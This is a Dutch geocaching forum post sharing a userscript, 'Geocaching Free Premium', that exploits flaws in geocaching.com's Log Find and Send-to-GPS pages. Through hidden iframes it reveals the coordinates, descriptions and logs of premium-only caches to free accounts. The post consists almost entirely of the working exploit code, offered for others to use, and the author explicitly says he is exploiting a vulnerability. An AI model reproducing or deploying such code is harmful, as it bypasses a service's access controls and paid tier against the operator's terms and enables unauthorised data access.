GeoLeaks Geocaching Forum

Volledige versie: Geocaching.com hack
U bekijkt momenteel een uitgeklede versie van ons materiaal. De volledige versie met bijbehorende opmaak weergeven.
Voor wie er mee wil spelen en er verstand van heeft:

Citaat:Ever wished you could find premium geocaches on a free account? When on a "Premium Members Only" page of geocaching.com , this script will give you coordinates in the form of longitude and latitude which can then be typed into your GPS. Have fun cache finding. Under certain scenarios, it can also display the last ten caching logs, so you can find out if the person before you DNF'd it if you aren't brave enough to try a DNF'd cache. Tongue Although, you still won't be able to log the cache online, only offline, so you won't gain any points for using this script. If you're just geocaching for fun and want to stay a free member, this script is perfect for you.


Citaat:// ==UserScript==
// @name Geocaching Free Premium
// @author Tommy Smith
// @description Find the coordinates of a Premium Geocache from geocaching.com . May only be temporary. Not intended for use with GC Little Helper.
// @version 2.5
// @include http*://geocaching.com/geocache/*
// @include http*://*.geocaching.com/geocache/*
// @include http*://geocaching.com/seek/*
// @include http*://*.geocaching.com/seek/*
// @namespace https://greasyfork.org/users/2469
// ==/UserScript==

// Geocache info page
if ((window.location.pathname.indexOf("/geocache/") == -1 && window.location.pathname.indexOf("/seek/cache_details.aspx") == -1 && window.location.pathname.indexOf("/seek/cache_pmo.aspx") == -1) || !document.getElementsByClassName("PMBannerWrapper")[0]) {
} else {
if (!document.getElementsByClassName("SignedInProfileLink")[0]) {
document.getElementsByClassName("PMBannerWrapper")[0].innerHTML = "<h1>Geocaching Free Premium</h1><h2>by Tommy Smith</h2>Uh oh! You need to be logged in on a <strong>free account</strong> in order for this script to work.";
document.getElementById("ctl00_ContentBody_memberComparePanel").style.display = "none";
} else {
// we need to find out the guid for the Geocache here. There may be multiple ways of doing this but I only know of one.
// I'm going to exploit the "Log Find"'s vulnerability in this case. If that is fixed, then cross your fingers I find a different way!
console.log("Phase one initiated...");
var iframe = document.createElement('iframe');
if (window.location.search.indexOf("wp=") != -1) {
iframe.src = "http://geocaching.com/seek/log.aspx?wp="+window.location.search.substring(0, window.location.search.indexOf("wp=")-2)+"#fpfpfpfpfp";
} else {
iframe.src = "http://geocaching.com/seek/log.aspx?wp="+window.location.pathname.split("/")[window.location.pathname.split("/").length-1].substring(0, window.location.pathname.split("/")[window.location.pathname.split("/").length-1].indexOf("_"))+"#fpfpfpfpfp";
}
iframe.id = "fpfpfpfpfp1";
iframe.width = 0;
iframe.height = 1;
iframe.frameborder = 0;
iframe.scrolling = "no";
document.getElementsByTagName('body')[0].appendChild(iframe);
console.log("Phase one complete!");
}
}

// log find page
if (window.location.pathname.indexOf("/seek/log.aspx") != -1 && window.location.hash.indexOf("fpfpfpfpfp") != -1) {
if (!document.getElementById("ctl00_ContentBody_LogBookPanel1_WaypointLink")) {
console.log("Phase two failed. The guid finder has been patched by geocaching.com . This script is now outdated (either that or it just is not working, sorry)");
} else {
// assumes guid is constant length of 36
console.log("Phase two initiated...");
var iframe = document.createElement('iframe');
iframe.src = "http://geocaching.com/seek/sendtogps.aspx?fpfpfpfpfp&guid="+document.getElementById("ctl00_ContentBody_LogBookPanel1_WaypointLink").href.substring(document.getElementById("ctl00_ContentBody_LogBookPanel1_WaypointLink").href.length-36);
iframe.id = "fpfpfpfpfp2";
iframe.width = 0;
iframe.height = 1;
iframe.frameborder = 0;
iframe.scrolling = "no";
document.getElementsByTagName('body')[0].appendChild(iframe);
console.log("Phase two complete!");
}
}

// Send to GPS Page
if (window.location.pathname.indexOf("/seek/sendtogps.aspx") != -1 && window.location.search.indexOf("fpfpfpfpfp") != -1) {
console.log("Phase three initiated...");
var dataarray = new Array("0", "0");
var output = "<h1>Geocaching Free Premium</h1><h2>by Tommy Smith</h2><ul><li>Either the free premium script is still loading or an error has occured in phase three.</li><li>What's that you say? There is nothing loading??</li><li>This can\'t be good.</li></ul>";
window.parent.parent.document.getElementsByClassName("PMBannerWrapper")[0].innerHTML = output;
// I hate typeof, but I guess it is my only option since Firefox is being stupid

if (typeof PN_GetGeocaches == "undefined") {

if (!document.getElementById("dataString")) {

if (!document.getElementById("falkDataString")) {

if (!document.getElementById("hiddenText")) {

console.log("user is using a Rand McNally device");
dataarray[0] = "<li style='list-style: none;'><a href='#' class='CoordInfoLink'><span class='CoordInfoCode'>" + /<name>(GC.+?)<\/name>/.exec(document.getElementById("forisDataString").value)[1] + "</span></a></li>";
dataarray[1] = "<li style='list-style: none;'><strong><span id='uxLatLon'>" + /<wpt.+?lat="(.+?)"/.exec(document.getElementById("forisDataString").value)[1] + " " + /<wpt.+?lon="(.+?)"/.exec(document.getElementById("forisDataString").value)[1] + "</span></strong></li>";
dataarray[2] = "<li style='list-style: none;'><h3 class='CacheDescriptionHeader'>Geocache Description:</h3>" + /<groundspeak:short_description.+?>([\s\S]*?)<\/groundspeak:short_description/.exec(document.getElementById("forisDataString").value)[1] + "</li>";

} else {
console.log("user is using Magellan device");
dataarray[0] = "<li style='list-style: none;'><a href='#' class='CoordInfoLink'><span class='CoordInfoCode'>" + /<name>(GC.+?)<\/name>/.exec(document.getElementById("hiddenText").value)[1] + "</span></a></li>";
dataarray[1] = "<li style='list-style: none;'><strong><span id='uxLatLon'>" + /<wpt.+?lat="(.+?)"/.exec(document.getElementById("hiddenText").value)[1] + " " + /<wpt.+?lon="(.+?)"/.exec(document.getElementById("hiddenText").value)[1] + "</span></strong></li>";
dataarray[2] = "<li style='list-style: none;'><h3 class='CacheDescriptionHeader'>Geocache Description:</h3>" + /<groundspeak:short_description.+?>([\s\S]*?)<\/groundspeak:short_description/.exec(document.getElementById("hiddenText").value)[1] + "</li>";
}

} else {
console.log("user is using a Falk device");
dataarray[0] = "<li style='list-style: none;'><a href='#' class='CoordInfoLink'><span class='CoordInfoCode'>" + /<name>(GC.+?)<\/name>/.exec(document.getElementById("falkDataString").value)[1] + "</span></a></li>";
dataarray[1] = "<li style='list-style: none;'><strong><span id='uxLatLon'>" + /<wpt.+?lat="(.+?)"/.exec(document.getElementById("falkDataString").value)[1] + " " + /<wpt.+?lon="(.+?)"/.exec(document.getElementById("falkDataString").value)[1] + "</span></strong></li>";
dataarray[2] = "<li style='list-style: none;'><h3 class='CacheDescriptionHeader'>Geocache Description:</h3>" + /<groundspeak:short_description.+?>([\s\S]*?)<\/groundspeak:short_description/.exec(document.getElementById("falkDataString").value)[1] + "</li>";
}

} else {
console.log("user is using Garmin device");
dataarray[0] = "<li style='list-style: none;'><a href='#' class='CoordInfoLink'><span class='CoordInfoCode'>" + /<name>(GC.+?)<\/name>/.exec(document.getElementById("dataString").value)[1] + "</span></a></li>";
dataarray[1] = "<li style='list-style: none;'><strong><span id='uxLatLon'>" + /<wpt.+?lat="(.+?)"/.exec(document.getElementById("dataString").value)[1] + " " + /<wpt.+?lon="(.+?)"/.exec(document.getElementById("dataString").value)[1] + "</span></strong></li>";
dataarray[2] = "<li style='list-style: none;'><h3 class='CacheDescriptionHeader'>Geocache Description:</h3>" + /<groundspeak:short_description.+?>([\s\S]*?)<\/groundspeak:short_description/.exec(document.getElementById("dataString").value)[1] + "</li>";
}

} else {
console.log("user is using DeLorme Device");
dataarray[0] = "<li style='list-style: none;'><a href='#' class='CoordInfoLink'><span class='CoordInfoCode'>" + PN_GetGeocaches()[0].id + "</span></a></li>";
dataarray[1] = "<li style='list-style: none;'><strong><span id='uxLatLon'>" + PN_GetGeocaches()[0].latitude + " " + PN_GetGeocaches()[0].longitude + "</span></strong></li>";
dataarray[2] = "<li style='list-style: none;'><h3 class='CacheDescriptionHeader'>Geocache Description:</h3>" + PN_GetGeocaches()[0].shortdesc + "</li>";
for(i=0;i<PN_GetGeocaches()[0].logs.length;i++){
dataarray[(i+3)] = "<td><div class='FloatLeft LogDisplayLeft'><p class='logOwnerProfileName'><strong><a href='jvoid(0);' onClick='return false;'>" + PN_GetGeocaches()[0].logs[i].finder + "</a></strong></p></div><div class='FloatLeft LogDisplayRight'><div class='HalfLeft LogType'>" + PN_GetGeocaches()[0].logs[i].type + "</div><div class='HalfRight AlignRight'><span class='minorDetails LogDate'>" + PN_GetGeocaches()[0].logs[i].date + "</span></div><div class='Clear LogContent'><p class='LogText'>" + PN_GetGeocaches()[0].logs[i].notes + "</p></div></div></td>";
}
}

output = "<h1>Free Premium Geocaching</h1><h2>by Tommy Smith</h2><ul style='list-style: none;'>";
for(i=0;i<3;i++){
output += dataarray[i];
}
output += "</ul>";
if (dataarray.length > 3) {
output += "<div class='Clear'><br><br><br><table id='cache_logs_table2' class='LogsTable NoBottomSpacing' width='100%'>";
for(i=3;i<dataarray.length;i++){
output += "<tr class='log-row'>" + dataarray[i] + "</td></tr>";
}
output += "</table>";
}
output += "<br><br><br><p><h3>Free Premium Geocaching notes</h3><ul><li>Previous logs are available to DeLorme device users only at the moment. Hints and long descriptions are impossible to crack, I'm afraid.</li><li>Note that the coordinates are in decimal format, when normally on the site they are in Degrees Minutes format. You can convert to Degrees Minutes using a tool such as <a href='http://www.earthpoint.us/convert.aspx' target='_blank'>EarthPoint</a>.</li><li>If nothing happens, do try refreshing the page.</li></ul>-Tommy</p>";
window.parent.parent.document.getElementsByClassName("PMBannerWrapper")[0].innerHTML = output;
window.parent.parent.document.getElementsByClassName("PMBannerWrapper")[0].style.borderStyle = "none";
window.parent.parent.document.getElementById("ctl00_ContentBody_memberComparePanel").style.display = "none";
window.parent.document.getElementById("fpfpfpfpfp2").style.display = "none";
window.parent.parent.document.getElementById("fpfpfpfpfp1").style.display = "none";
window.parent.parent.document.getElementById("fpfpfpfpfp1").src = "about:blank";
console.log("Phase three complete!");
}
Koppelingen